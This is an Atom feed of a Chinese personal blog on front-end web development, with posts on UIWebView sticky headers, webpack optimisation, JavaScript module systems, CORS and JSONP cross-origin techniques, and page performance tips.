<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.9.3">Jekyll</generator><link href="http://laoxuanshi.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="http://laoxuanshi.github.io/" rel="alternate" type="text/html" /><updated>2023-10-16T08:58:53+00:00</updated><id>http://laoxuanshi.github.io/feed.xml</id><title type="html">Lao’s Blog</title><subtitle>劳炫施的个人博客</subtitle><author><name>Xuanshi Lao</name></author><entry><title type="html">uiwebview 吸顶功能的坑</title><link href="http://laoxuanshi.github.io/2019/02/03/uiwebview-%E5%90%B8%E9%A1%B6%E5%8A%9F%E8%83%BD%E7%9A%84%E5%9D%91/" rel="alternate" type="text/html" title="uiwebview 吸顶功能的坑" /><published>2019-02-03T00:00:00+00:00</published><updated>2019-02-03T00:00:00+00:00</updated><id>http://laoxuanshi.github.io/2019/02/03/uiwebview%20%E5%90%B8%E9%A1%B6%E5%8A%9F%E8%83%BD%E7%9A%84%E5%9D%91</id><content type="html" xml:base="http://laoxuanshi.github.io/2019/02/03/uiwebview-%E5%90%B8%E9%A1%B6%E5%8A%9F%E8%83%BD%E7%9A%84%E5%9D%91/">&lt;h1 id=&quot;一背景&quot;&gt;一、背景&lt;/h1&gt;

&lt;p&gt;开发活动页时有一个需求，往下滚动到tab消失时，把tab吸顶；往上滚动则取消吸顶。主流的做法是监听scroll事件，通过滚动距离判断tab当前位置，并给tab添加position：fixed等属性。&lt;/p&gt;

&lt;p&gt;在Android和IOS 内置浏览器中，这样做能改完美實現吸頂效果，但在ios app内打开时，吸顶和取消会有一定的时延，体验不好。&lt;/p&gt;

&lt;p&gt;进过排查，发现ios app打开h5页面采用的是uiwebview，scroll事件发生时js脚本被阻塞，在滚动停止的时候才执行js实现吸顶。&lt;/p&gt;

&lt;h1 id=&quot;二解决方案&quot;&gt;二、解决方案&lt;/h1&gt;

&lt;h2 id=&quot;1-更换app的webview类型&quot;&gt;1. 更换app的webview类型&lt;/h2&gt;
&lt;p&gt;和app开发商量，把uiwebview更换为wkwebview，可以完美的解决这个问题。但app发版本需要审核时间，可能影响活动页的上线。&lt;/p&gt;

&lt;h2 id=&quot;2-采用iscroll等模拟滚动的库&quot;&gt;2. 采用iScroll等模拟滚动的库&lt;/h2&gt;
&lt;p&gt;经过尝试，发现uiwebview在touchmove事件发生时，不会阻塞js脚本的执行，因此我们采用了iScroll（https://github.com/cubiq/iscroll），它的实现原理正是通过监听touchstart、touchmove、touchend等事件，得到滚动的方向和距离，然后使用transform: translate(x, y)来模拟滚动的效果。&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/web/w28.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;缺陷：在列表数据量比较大时，transform的性能会受到限制，可能会出现滚动明显变卡顿的情况。&lt;/p&gt;</content><author><name>Xuanshi Lao</name></author><category term="移动端H5开发" /><summary type="html">一、背景</summary></entry><entry><title type="html">webpack优化方案</title><link href="http://laoxuanshi.github.io/2018/12/22/webpack%E4%BC%98%E5%8C%96%E6%96%B9%E6%A1%88/" rel="alternate" type="text/html" title="webpack优化方案" /><published>2018-12-22T00:00:00+00:00</published><updated>2018-12-22T00:00:00+00:00</updated><id>http://laoxuanshi.github.io/2018/12/22/webpack%E4%BC%98%E5%8C%96%E6%96%B9%E6%A1%88</id><content type="html" xml:base="http://laoxuanshi.github.io/2018/12/22/webpack%E4%BC%98%E5%8C%96%E6%96%B9%E6%A1%88/">&lt;h1 id=&quot;一打包时间优化&quot;&gt;一、打包时间优化&lt;/h1&gt;

&lt;h2 id=&quot;1-设置-babel-的-cachedirectory-为true&quot;&gt;1. 设置 babel 的 cacheDirectory 为true&lt;/h2&gt;
&lt;p&gt;babel-loader处理需要较多时间，可以充分利用缓存，进一步提升性能。
babel-loader 提供了 cacheDirectory特定选项（默认 false），设置时，给定的目录将用于缓存加载器的结果。&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{
    test: /\.js?$/,
    exclude: /node_modules/,
    use: ['babel-loader?cacheDirectory'],
    include: utils.pathResolve('src')
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;2-引入-dllplugin-和-dllreferenceplugin&quot;&gt;2. 引入 DllPlugin 和 DllReferencePlugin&lt;/h2&gt;

&lt;p&gt;参考Demo：&lt;a href=&quot;https://github.com/qiudongwei/blog/tree/master/dllplugin-demo&quot;&gt;dllplugin-demo&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;其原理是将一些不常更新的第三方NPM包，如 react，lodash等提前构建，然后通过页面引入。
这不仅能够使得打包文件大幅度减小，同时也极大的提高了打包速度。&lt;/p&gt;

&lt;p&gt;DllPlugin执行后生成manifest.json索引文件和指定的第三方库构建bundle；&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;new webpack.DllPlugin({
  context: __dirname,
  path: utils.pathResolve('dist/manifest.json'),
  name: '[name]_[chunkhash]',
}),
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;DllReferencePlugin 插件则把只有dll的bundle引用到需要的预编译的依赖。&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;new webpack.DllReferencePlugin({
  context: __dirname,
  manifest: require(path.join(config.build.assetsRoot, 'manifest.json')),
}),
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;3-增强代码压缩工具&quot;&gt;3. 增强代码压缩工具&lt;/h2&gt;
&lt;p&gt;Webpack默认提供的UglifyJS 插件采用单线程压缩，速度比较慢；
而webpack-parallel-uglify-plugin 插件可以并行运行UglifyJS 插件，对CPU 资源更加充分使用，大大减少了构建时间&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;var ParallelUglifyPlugin = require('webpack-parallel-uglify-plugin');
new ParallelUglifyPlugin({
  cacheDir: '.cache/',
  uglifyJS:{
    output: {
      comments: false
    },
    compress: {
      warnings: false
    }
  }
})
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h1 id=&quot;二打包体积优化&quot;&gt;二、打包体积优化&lt;/h1&gt;

&lt;p&gt;利用webpack-bundle-analyzer等插件可以清楚的看到打包后模块的组成和占比，从而有针对性的优化较大的模块。&lt;/p&gt;

&lt;h2 id=&quot;1-尽可能引入更合适的包&quot;&gt;1. 尽可能引入更合适的包&lt;/h2&gt;
&lt;p&gt;尽量不要引入jquery，moment等体积较大的第三方库，如果非引入不可，可以采用体积相对小的替代包。
如和monent相似的有date-fns和DAY.JS等。&lt;/p&gt;

&lt;h2 id=&quot;2-代码分割-动态导入dynamic-imports&quot;&gt;2. 代码分割-动态导入(dynamic imports)&lt;/h2&gt;
&lt;p&gt;对于不常用的资源包或组件，可以动态拆分代码，需要用到时再加载相应的js文件。对此有两种方案：
第一种是使用import() 语法。第二种则是使用 webpack 特定的 require.ensure。以第一种方式为例：&lt;/p&gt;

&lt;p&gt;webpack.config.js：&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;output: {
  ...
  chunkFilename: '[name].bundle.js',
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;src/index.js&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;loadModulesAsync = () =&amp;gt; {
    const promiseA = import(/* webpackChunkName: &quot;packageA&quot; */'packageA')
    const promiseB = import(/* webpackChunkName: &quot;packageB&quot; */'packageB')
    const promiseC = import(/* webpackChunkName: &quot;packageC&quot; */'packageC')

    Promise.all(promiseA, promiseB, promiseC)
    .then(([packageA, packageB, packageC]) =&amp;gt; {
      ...
    })
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;</content><author><name>Xuanshi Lao</name></author><category term="前端开发" /><summary type="html">一、打包时间优化</summary></entry><entry><title type="html">Javascript模块化</title><link href="http://laoxuanshi.github.io/2017/02/01/Javascript%E6%A8%A1%E5%9D%97%E5%8C%96/" rel="alternate" type="text/html" title="Javascript模块化" /><published>2017-02-01T00:00:00+00:00</published><updated>2017-02-01T00:00:00+00:00</updated><id>http://laoxuanshi.github.io/2017/02/01/Javascript%E6%A8%A1%E5%9D%97%E5%8C%96</id><content type="html" xml:base="http://laoxuanshi.github.io/2017/02/01/Javascript%E6%A8%A1%E5%9D%97%E5%8C%96/">&lt;h3 id=&quot;amd规范&quot;&gt;AMD规范&lt;/h3&gt;
&lt;p&gt;代表是require.js，
require()异步加载模块，它指定的回调函数，只有前面的模块都加载成功后，才会运行，解决了依赖性的问题。&lt;br /&gt;
&lt;img src=&quot;/images/web/w15.png&quot; alt=&quot;&quot; /&gt;
&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;define方法用于定义模块，此模块必须返回一个对象，供其他模块调用
&lt;br /&gt;
&lt;img src=&quot;/images/web/w16.png&quot; alt=&quot;&quot; /&gt;
&lt;br /&gt;
require.js提供了一个优化工具optimizer，当模块部署完毕以后，可以用这个工具将多个模块合并在一个文件中，减少HTTP请求数。&lt;/p&gt;

&lt;h3 id=&quot;commonjs&quot;&gt;CommonJS&lt;/h3&gt;
&lt;p&gt;代表是Node.js。
在每个模块内部，module变量代表当前模块。它的exports属性是对外的接口，通过module.exports将模块的接口暴露出去。其他文件通过 require() 来导入其他模块的输出到当前模块作用域中。实际上就是读取module.exports变量。&lt;/p&gt;
&lt;h3 id=&quot;amd和commonjs对比&quot;&gt;AMD和CommonJS对比&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;CommonJS规范加载模块是同步的，也就是说，只有加载完成，才能执行后面的操作。&lt;/li&gt;
  &lt;li&gt;AMD规范则是异步加载模块，允许指定回调函数，在回调函数中执行操作。&lt;/li&gt;
  &lt;li&gt;由于Node.js主要用于服务器编程，模块文件一般都已经存在于本地硬盘，所以加载起来比较快，不用考虑非同步加载的方式，所以CommonJS规范比较适用。但是，如果是浏览器环境，要从服务器端加载模块，这时就必须采用非同步模式，因此浏览器端一般采用AMD规范。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;es6的模块化&quot;&gt;ES6的模块化&lt;/h3&gt;

&lt;p&gt;使用export关键字将任意变量、函数或者类公开给其他模块。一个模块就是一个独立的文件。该文件内部的所有变量，外部无法获取。如果你希望外部能够读取模块内部的某个变量，就必须使用export关键字输出该变量。
其他 JS 文件就可以通过import命令加载这个模块。
import和export命令只能在模块的顶层，不能在代码块之中。&lt;/p&gt;

&lt;h3 id=&quot;commonjs和es6模块化的对比&quot;&gt;CommonJS和ES6模块化的对比&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;CommonJS 模块输出的是一个值的拷贝：一旦输出一个值，模块内部的变化就影响不到获取的这个值。
ES6 模块输出的是值的引用：JS 引擎对脚本静态分析的时候，遇到import，就会生成一个只读引用。等到脚本真正执行时，再根据这个只读引用，到被加载的那个模块里面去取值。原始值变了，import加载的值也会跟着变&lt;/li&gt;
  &lt;li&gt;CommonJS 模块是运行时生成，ES6 模块是编译时生成。
第二个差异是因为 CommonJS 加载的是一个对象（即module.exports属性），该对象只有在脚本运行完才会生成。而 ES6 模块不是对象，它的对外接口只是一种静态定义，在代码静态解析阶段就会生成。&lt;/li&gt;
&lt;/ul&gt;</content><author><name>Xuanshi Lao</name></author><category term="前端开发" /><summary type="html">AMD规范 代表是require.js， require()异步加载模块，它指定的回调函数，只有前面的模块都加载成功后，才会运行，解决了依赖性的问题。</summary></entry><entry><title type="html">跨域</title><link href="http://laoxuanshi.github.io/2017/01/07/%E8%B7%A8%E5%9F%9F/" rel="alternate" type="text/html" title="跨域" /><published>2017-01-07T00:00:00+00:00</published><updated>2017-01-07T00:00:00+00:00</updated><id>http://laoxuanshi.github.io/2017/01/07/%E8%B7%A8%E5%9F%9F</id><content type="html" xml:base="http://laoxuanshi.github.io/2017/01/07/%E8%B7%A8%E5%9F%9F/">&lt;h3 id=&quot;定义&quot;&gt;定义&lt;/h3&gt;
&lt;p&gt;跨域是指不同域之间互相通信，域名、协议、端口号有一个不同就是不同域&lt;/p&gt;

&lt;h3 id=&quot;跨域资源共享协议cors&quot;&gt;跨域资源共享协议（cors）&lt;/h3&gt;

&lt;h4 id=&quot;两种请求&quot;&gt;两种请求&lt;/h4&gt;
&lt;p&gt;CORS 的请求分两种，这也是浏览器为了安全做的一些处理，不同情况下浏览器执行的操作也是不一样的，主要分为两种请求，当然这一切我们是不需要做额外处理的，浏览器会自动处理的。&lt;/p&gt;

&lt;h5 id=&quot;简单请求&quot;&gt;简单请求&lt;/h5&gt;
&lt;p&gt;只要同时满足以下两大条件，就属于简单请求。&lt;/p&gt;
&lt;h6 id=&quot;条件&quot;&gt;条件：&lt;/h6&gt;
&lt;p&gt;1、请求方法是以下三种方法中的一个：
HEAD、GET、POST&lt;/p&gt;

&lt;p&gt;2、HTTP的头信息不超出以下几种字段：
Accept、Accept-Language、Content-Language、Last-Event-ID、Content-Type：只限于三个值application/x-www-form-urlencoded、multipart/form-data、text/plain&lt;/p&gt;

&lt;h6 id=&quot;过程&quot;&gt;过程：&lt;/h6&gt;
&lt;p&gt;对于简单的跨域请求，浏览器会自动在请求的头信息加上 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Origin&lt;/code&gt; 字段，表示本次请求来自哪个源（协议 + 域名 + 端口），服务端会获取到这个值，然后判断是否同意这次请求并返回。&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;// 请求
GET /cors HTTP/1.1
Origin: https://api.qiutc.me
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h6 id=&quot;情况一服务端允许&quot;&gt;情况一：服务端允许&lt;/h6&gt;
&lt;p&gt;如果服务端许可本次请求，就会在返回的头信息多出几个字段：
// 返回
Access-Control-Allow-Origin: https://api.qiutc.me
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Info
Content-Type: text/html; charset=utf-8&lt;/p&gt;

&lt;p&gt;这三个带有 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Access-Control&lt;/code&gt; 开头的字段分别表示：&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Access-Control-Allow-Origin：必须，它的值是请求时Origin字段的值或者 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*&lt;/code&gt;，表示接受任意域名的请求。&lt;/li&gt;
  &lt;li&gt;Access-Control-Allow-Credentials：可选，它的值是一个布尔值，表示是否允许发送Cookie。默认情况下，Cookie不包括在CORS请求之中。设为true，即表示服务器明确许可，Cookie可以包含在请求中，一起发给服务器。
再需要发送cookie的时候还需要注意要在AJAX请求中打开 withCredentials 属性：&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;需要注意的是，如果要发送Cookie，Access-Control-Allow-Origin就不能设为&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*&lt;/code&gt;，必须指定明确的、与请求网页一致的域名。同时，Cookie依然遵循同源政策，只有用服务器域名设置的Cookie才会上传，其他域名的Cookie并不会上传，且原网页代码中的&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;document.cookie&lt;/code&gt;也无法读取服务器域名下的Cookie。&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Access-Control-Expose-Headers
可选。CORS请求时，XMLHttpRequest对象的&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getResponseHeader()&lt;/code&gt;方法只能拿到6个基本字段：Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma。如果想拿到其他字段，就必须在Access-Control-Expose-Headers里面指定。上面的例子指定，&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getResponseHeader('Info')&lt;/code&gt;可以返回Info字段的值。&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;情况二服务端拒绝&quot;&gt;情况二：服务端拒绝&lt;/h6&gt;
&lt;p&gt;当然我们为了防止接口被乱调用，需要限制源，对于不允许的源，服务端还是会返回一个正常的HTTP回应，但是不会带上 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Access-Control-Allow-Origin&lt;/code&gt; 字段，浏览器发现这个跨域请求的返回头信息没有该字段，就会抛出一个错误，会被 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;XMLHttpRequest&lt;/code&gt; 的 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;onerror&lt;/code&gt; 回调捕获到。
这种错误无法通过 HTTP 状态码判断，因为回应的状态码有可能是200。&lt;/p&gt;

&lt;h5 id=&quot;非简单请求&quot;&gt;非简单请求&lt;/h5&gt;
&lt;h6 id=&quot;条件-1&quot;&gt;条件：&lt;/h6&gt;
&lt;p&gt;除了简单请求以外的CORS请求。
非简单请求是那种对服务器有特殊要求的请求，比如请求方法是PUT或DELETE，或者Content-Type字段的类型是 application/json。&lt;/p&gt;
&lt;h6 id=&quot;过程-1&quot;&gt;过程：&lt;/h6&gt;
&lt;p&gt;1）预检请求
非简单请求的CORS请求，会在正式通信之前，增加一次HTTP查询请求，称为”预检”请求（preflight）。
浏览器先询问服务器，当前网页所在的域名是否在服务器的许可名单之中，以及可以使用哪些HTTP动词和头信息字段。只有得到肯定答复，浏览器才会发出正式的XMLHttpRequest请求，否则就报错。
预检请求的发送请求：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;OPTIONS /cors HTTP/1.1
Origin: https://api.qiutc.me
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-Custom-Header
Host: api.qiutc.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;“预检”请求用的请求方法是OPTIONS，表示这个请求是用来询问的。头信息里面，关键字段是Origin，表示请求来自哪个源。
除了Origin字段，”预检”请求的头信息包括两个特殊字段。&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Access-Control-Request-Method
该字段是必须的，用来列出浏览器的CORS请求会用到哪些HTTP方法，上例是PUT。&lt;/li&gt;
  &lt;li&gt;Access-Control-Request-Headers
该字段是一个逗号分隔的字符串，指定浏览器CORS请求会额外发送的头信息字段，上例是X-Custom-Header。
预检请求的返回：
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: https://api.qiutc.me
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Access-Control-Allow-Methods
必需，它的值是逗号分隔的一个字符串，表明服务器支持的所有跨域请求的方法。注意，返回的是所有支持的方法，而不单是浏览器请求的那个方法。这是为了避免多次”预检”请求。&lt;/li&gt;
  &lt;li&gt;Access-Control-Allow-Headers
如果浏览器请求包括Access-Control-Request-Headers字段，则Access-Control-Allow-Headers字段是必需的。它也是一个逗号分隔的字符串，表明服务器支持的所有头信息字段，不限于浏览器在”预检”中请求的字段。&lt;/li&gt;
  &lt;li&gt;Access-Control-Max-Age
该字段可选，用来指定本次预检请求的有效期，单位为秒。上面结果中，有效期是20天（1728000秒），即允许缓存该条回应1728000秒（即20天），在此期间，不用发出另一条预检请求。
2）浏览器的正常请求和回应
一旦服务器通过了”预检”请求，以后每次浏览器正常的CORS请求，就都跟简单请求一样，会有一个Origin头信息字段。服务器的回应，也都会有一个Access-Control-Allow-Origin头信息字段。&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;问题低端浏览器兼容性的问题&quot;&gt;问题：低端浏览器兼容性的问题&lt;/h4&gt;
&lt;h3 id=&quot;jsonp&quot;&gt;jsonp&lt;/h3&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  $.ajax({
           type : &quot;get&quot;,
           async:false,
           url : &quot;http://app.example.com/base/json.do?sid=1494&amp;amp;busiId=101&quot;,
           dataType : &quot;jsonp&quot;,//数据类型为jsonp
           jsonp: &quot;jsonpCallback&quot;,//服务端用于接收callback调用的function名的参数
           success : function(data){
               $(&quot;#showcontent&quot;).text(&quot;Result:&quot;+data.result)
           },
           error:function(){
               alert('fail');
           }
  });
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;实现原理&quot;&gt;实现原理：&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;组装url：把请求的data和回调函数名字添加在url问号后面作为查询参数，没有回调函数则随机生成一个。希望启用浏览器缓存GET请求时，可能需要指定回调&lt;/li&gt;
  &lt;li&gt;创建一个script标签，src属性就是刚刚组装的url，把它插入html文档中&lt;/li&gt;
  &lt;li&gt;请求完成后返回一段可执行的js代码，在页面执行回调函数，回调函数的输入参数是请求返回的json数据。&lt;/li&gt;
  &lt;li&gt;删除script标签&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;问题&quot;&gt;问题：&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;这种方式无法发送post请求&lt;/li&gt;
  &lt;li&gt;另外要确定jsonp的请求是否失败并不容易，大多数框架的实现都是结合超时时间来判定。&lt;/li&gt;
  &lt;li&gt;返回一段恶意代码&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;documentdomainiframe的设置&quot;&gt;document.domain+iframe的设置&lt;/h3&gt;
&lt;p&gt;对于主域相同而子域不同的例子，可以通过设置document.domain的办法来解决。具体的做法是可以在http://www.a.com/a.html和http://script.a.com/b.html两个文件中分别加上document.domain = ‘a.com’；然后通过a.html文件中创建一个iframe，去控制iframe的contentDocument，这样两个js文件之间就可以“交互”了。当然这种办法只能解决主域相同而二级域名不同的情况。&lt;/p&gt;

&lt;h3 id=&quot;h5的postmessage和websocket&quot;&gt;h5的postmessage和websocket&lt;/h3&gt;
&lt;p&gt;postmessage针对iframe或弹出窗口，两个参数，一条消息和要传送的域，接收方监听message事件，事件包含data，origin和source&lt;/p&gt;

&lt;h3 id=&quot;代理&quot;&gt;代理&lt;/h3&gt;
&lt;p&gt;在同源服务器端设置一个代理，将请求转发到不同域，再将请求结果返回给前端&lt;/p&gt;</content><author><name>Xuanshi Lao</name></author><category term="前端开发" /><summary type="html">定义 跨域是指不同域之间互相通信，域名、协议、端口号有一个不同就是不同域</summary></entry><entry><title type="html">前端性能优化方法</title><link href="http://laoxuanshi.github.io/2016/12/10/%E5%89%8D%E7%AB%AF%E4%BC%98%E5%8C%96%E6%96%B9%E6%B3%95/" rel="alternate" type="text/html" title="前端性能优化方法" /><published>2016-12-10T00:00:00+00:00</published><updated>2016-12-10T00:00:00+00:00</updated><id>http://laoxuanshi.github.io/2016/12/10/%E5%89%8D%E7%AB%AF%E4%BC%98%E5%8C%96%E6%96%B9%E6%B3%95</id><content type="html" xml:base="http://laoxuanshi.github.io/2016/12/10/%E5%89%8D%E7%AB%AF%E4%BC%98%E5%8C%96%E6%96%B9%E6%B3%95/">&lt;h3 id=&quot;雅虎性能优化14条军规&quot;&gt;雅虎性能优化14条军规&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/images/web/w13.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3 id=&quot;请求数量&quot;&gt;请求数量&lt;/h3&gt;
&lt;h4 id=&quot;合并脚本和样式表&quot;&gt;合并脚本和样式表&lt;/h4&gt;
&lt;p&gt;HTTP 请求需要开销,合并脚本和样式表可以减少请求的次数&lt;/p&gt;
&lt;h4 id=&quot;css-sprites&quot;&gt;CSS Sprites&lt;/h4&gt;
&lt;p&gt;CSS 雪碧图,也称 CSS 精灵,原理是把多张图片文件整合至一张文件中,进而减少 HTTP 请求,使用时利用 CSS 的相关属性(background-image、background-repeat、background-position等)组合进行图片背景定位，即可精确的定位出背景图片的位置
（http://www.w3schools.com/css/css_image_sprites.asp）
图片较多的页面也可以使用 lazyLoad 技术进行优化。&lt;/p&gt;

&lt;h4 id=&quot;划分主域&quot;&gt;划分主域&lt;/h4&gt;
&lt;p&gt;在 HTTP/1.x 协议中「浏览器客户端在同一时间，针对同一域名下的请求有一定数量限制。超过限制数目的请求会被阻塞」（参考：RFC-2616-8.1.4 Practical Considerations）而不同浏览器对该限制的数目也不尽相同（参考：Roundup-on-parallel-connections），划分主域、配置静态资源专用域（static.example.com），目的就是变相的解决浏览器针对同一域名的请求限制阻塞问题。但不易过多，否则 DNS 的查询时间也是个问题。&lt;/p&gt;

&lt;h3 id=&quot;请求带宽&quot;&gt;请求带宽&lt;/h3&gt;
&lt;h4 id=&quot;开启-gzip&quot;&gt;开启 Gzip&lt;/h4&gt;
&lt;p&gt;服务端启用 Gzip 可以有效的减少数据传输量，Gzip 对于基于文本的文件（CSS、JavaScript、HTML）压缩效果最好，所有现代浏览器都支持 Gzip 压缩并将自动请求该压缩&lt;/p&gt;

&lt;h4 id=&quot;精简-javascript移除重复脚本&quot;&gt;精简 JavaScript，移除重复脚本&lt;/h4&gt;
&lt;p&gt;线上的代码进行压缩混淆，移除所有不必要的空白字符(空格，换行，制表符)，使用更短的变量名函数名，减少文件大小&lt;/p&gt;

&lt;h3 id=&quot;缓存利用&quot;&gt;缓存利用&lt;/h3&gt;
&lt;h4 id=&quot;数据库缓存&quot;&gt;数据库缓存&lt;/h4&gt;
&lt;p&gt;为了提供查询的性能，会将查询后的数据放到内存中进行缓存，下次查询时，直接从内存缓存直接返回，提供响应效率。比如常用的缓存方案有memcached等。&lt;/p&gt;
&lt;h4 id=&quot;代理服务器缓存&quot;&gt;代理服务器缓存&lt;/h4&gt;
&lt;p&gt;浏览器与服务器的中间部分，运作原理跟浏览器的运作原理差不多，只是规模更大。可以把它理解为一个共享缓存，不只为一个用户服务，一般为大量用户提供服务。&lt;/p&gt;

&lt;h4 id=&quot;浏览器端的缓存规则&quot;&gt;浏览器端的缓存规则&lt;/h4&gt;
&lt;p&gt;在HTTP协议头和HTML页面的Meta标签中配置，强缓存：Cache-Control、Expires，协商缓存：Last-Modified、ETag&lt;/p&gt;

&lt;h3 id=&quot;页面结构&quot;&gt;页面结构&lt;/h3&gt;
&lt;p&gt;样式表置顶、JavaScript 置底，避免空src，延迟加载JavaScript等&lt;/p&gt;

&lt;h3 id=&quot;代码校验&quot;&gt;代码校验&lt;/h3&gt;
&lt;h4 id=&quot;css&quot;&gt;CSS&lt;/h4&gt;
&lt;p&gt;避免使用@import，不能并行下载；避免CSS表达式，计算频率很高；避免通配选择器，从右往左匹配；&lt;/p&gt;

&lt;h4 id=&quot;javascript&quot;&gt;JavaScript&lt;/h4&gt;
&lt;p&gt;使用事件委托；缓存选择器查询结果；避免频繁的DOM操作&lt;/p&gt;

&lt;h3 id=&quot;预加载&quot;&gt;预加载&lt;/h3&gt;
&lt;p&gt;Web标准提供了一种DNS预解析技术，因为服务器是知道页面即将会发生哪些请求的，那我们可以在页面顶部，插入 &lt;link rel=&quot;dns-prefetch&quot; href=&quot;//host/&quot; /&gt;，让浏览器先解析一下这个域名。那么，后续扫到同域的请求，就可以直接从DNS缓存获取了。
